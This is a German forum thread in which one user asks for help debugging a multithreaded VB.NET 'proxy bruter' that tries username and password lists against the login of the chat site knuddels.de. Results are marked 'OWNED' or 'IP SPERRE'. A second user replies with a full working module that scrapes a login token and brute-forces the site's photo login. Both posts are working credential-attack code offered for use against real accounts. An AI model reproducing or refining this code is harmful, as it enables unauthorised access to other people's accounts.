1. #1
    Avatar von exception
    Registriert seit
    27.03.2012
    Beiträge
    198
    Thanked 57 Times in 36 Posts

    Standard NameValueCollection

    Hallo,
    arbeite gerade an einem Knöddels Proxy Bruter und komme gerade nicht weiter.


    Public Sub getLogin(ByVal udata As String)

    timeoutT = New Thread(AddressOf Me.timeout)
    timeoutT.Start()

    username = udata.ToString.Split("#")(0)
    password = udata.ToString.Split("#")(1)

    nvc.Clear()
    nvc = New NameValueCollection
    nvc.Add("domain", "knuddels.de")
    nvc.Add("mode", "login")
    nvc.Add("targetmode", String.Empty)
    nvc.Add("targetid", String.Empty)
    nvc.Add("name", username)
    nvc.Add("pwd", password)

    wc = New WebClient
    source = ASCII.GetString(wc.UploadValues(URL, "POST", nvc))

    timeoutT.Abort()

    If source.Contains("Das eingegebene Passwort ist nicht korrekt.") Then
    RichTextBox1.AppendText(username & "#" & password & " - FALSCHES PASSWORT" & vbCrLf)
    ElseIf source.Contains("' existiert nicht.") Then
    RichTextBox1.AppendText(username & "#" & password & " - NICK EXISTIERT NICHT" & vbCrLf)
    ElseIf source.Contains("Du hast zu oft dein Passwort falsch eingegeben.") Then
    RichTextBox1.AppendText(username & "#" & password & " - IP SPERRE" & vbCrLf)
    ElseIf source.Contains("Du bist eingeloggt als:") Then
    RichTextBox1.AppendText(username & "#" & password & " - OWNED" & vbCrLf)
    End If
    End Sub



    Public Sub timeout()
    Sleep(timeLimit)
    getLoginT.Abort()
    RichTextBox1.AppendText("Timeout...")
    End Sub


    (Ist jetzt ohne Proxy aber tut meinem Problem nichts zur Sache)

    Das ganze läuft über 2 Threads damit ich den WebClient "abwürgen" falls die Proxy zu langsam ist und das ganze mehr als
    1,5 Sekunden dauer(timeLimit). Der ganze Code funktioniert bei einzelnen Aufrufen(auch mehrere hintereinander) eigentlich
    wunderbar. Probleme gibts nur wenn ich das ganze mit einer Schleife aufrufe:


    For Each u In usernameArr
    loginData = New StringBuilder
    loginData.Append(u & "#")
    For Each p In passwordArr
    loginData.Append(p)
    getLoginT = New Thread(AddressOf Me.getLogin)
    getLoginT.Start(loginData.ToString)
    Next
    Next


    Denn da bekomme ich immer folgende Fehlermeldung:
    Das Element wurde bereits hinzugefügt. Schlüssel im Wörterbuch: "mode". Hinzuzufügender Schlüssel: "mode".

    Das Element ist aber NICHT IMMER "mode"!

    Die Übergabemethode mit dem StringBuilder ist übringens nur eine von vielen die ich probiert habe.
    Das komische aber ist, wenn ich die Threads ohne Schleife aufrufe funktioniert alles wunderbar:


    getLoginT = New Thread(AddressOf Me.getLogin)
    getLoginT.Start("username#password")


    Das hier kann ich in einem Button so oft spammen wie ich will und es funktioniert genau wie ich's mir eigentlich
    von der Schleife erwarten würde.(in dem Fall natürlich immer mit den selben Zugangsdaten^^)

    Bin für jede Hilfe dankbar!

    MfG

    //Edit:
    Thx für die Antowort! Werd mir dein Snippet morgen (wenn ich nüchtern bin XD) mal genauer anschauen!

    //Edit2:
    Schon wieder nicht nüchtern lol e.e xD
    Geändert von exception (29.11.2013 um 17:39 Uhr)
    Ich will Geld haben und zwar so viel, das ich auch mal sagen kann das es Wichtigeres gibt...

  2. The Following User Says Thank You to exception For This Useful Post:

    TomatenKetchup (28.11.2013)

  3. #2

    Registriert seit
    19.11.2011
    Beiträge
    2.128
    Thanked 1.937 Times in 1.180 Posts

    Standard AW: NameValueCollection

    Code:
    Option Strict On
    Imports System.IO, System.Net, System.Text.RegularExpressions, System.Threading
    Module Module1
        Private Containa As CookieContainer = New CookieContainer
        Public Function Req(Site As String, Met As String, Optional P As String = "") As String
            Dim Response As String = String.Empty
            Try
                Dim R As HttpWebRequest = CType(HttpWebRequest.Create(Site), HttpWebRequest)
                With R
                    .Proxy = Nothing
                    .Method = Met
                    .CookieContainer = Containa
                    .AllowAutoRedirect = True
                    .UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0"
                    .ContentType = "application/x-www-form-urlencoded"
                    .Timeout = 12000
                End With
    
                If Met = "POST" AndAlso P.Length > 4 Then
                    R.ContentLength = P.Length
                    Dim Wr As New StreamWriter(R.GetRequestStream(), System.Text.Encoding.Default)
                    Wr.Write(P)
                    Wr.Close()
                End If
    
                Dim Re As New StreamReader(R.GetResponse.GetResponseStream())
                Response = Re.ReadToEnd
                Re.Close()
            Catch
            End Try
            Return Response
        End Function
        Public Function TryLoginData(Nick As String, Pass As String, Optional SleepIntervinS As Integer = 0) As Boolean
            Thread.Sleep(SleepIntervinS * 1000)
            Dim S As String = Req("http://photo.knuddels.de/photos-login.html?d=knuddels.de#", "GET")
            Dim Id As String = Regex.Match(S, "button-([^""]+)").Groups(1).Value
            Dim Login As String = Req("http://photo.knuddels.de/photos-login_submit.html", "POST", String.Concat("nickname=", Nick, "&password=", Pass, "&submitElement=", Id))
            Return Not Login.Contains("Allgemeiner Serverfehler") AndAlso Not Login.Contains("dein Passwort falsch eingegeben") AndAlso Login.Contains("Abmelden")
        End Function
        Private Sub Doit()
            Dim T As New Thread(Sub()
                                    For Each p As String In {"Hallo", "TestNick2"}
                                        If TryLoginData(p, "TESTPW", 2) Then
                                            '...
                                        End If
                                    Next
                                End Sub)
            T.IsBackground = True
            T.Start()
        End Sub
        Sub Main()
            Doit()
            Console.ReadKey()
        End Sub
    End Module
    Vielleicht hilft dir das ja

  4. The Following User Says Thank You to !lkay For This Useful Post:

    TomatenKetchup (28.11.2013)

Diese Seite nutzt Cookies, um das Nutzererlebnis zu verbessern. Klicken Sie hier, um das Cookie-Tracking zu deaktivieren.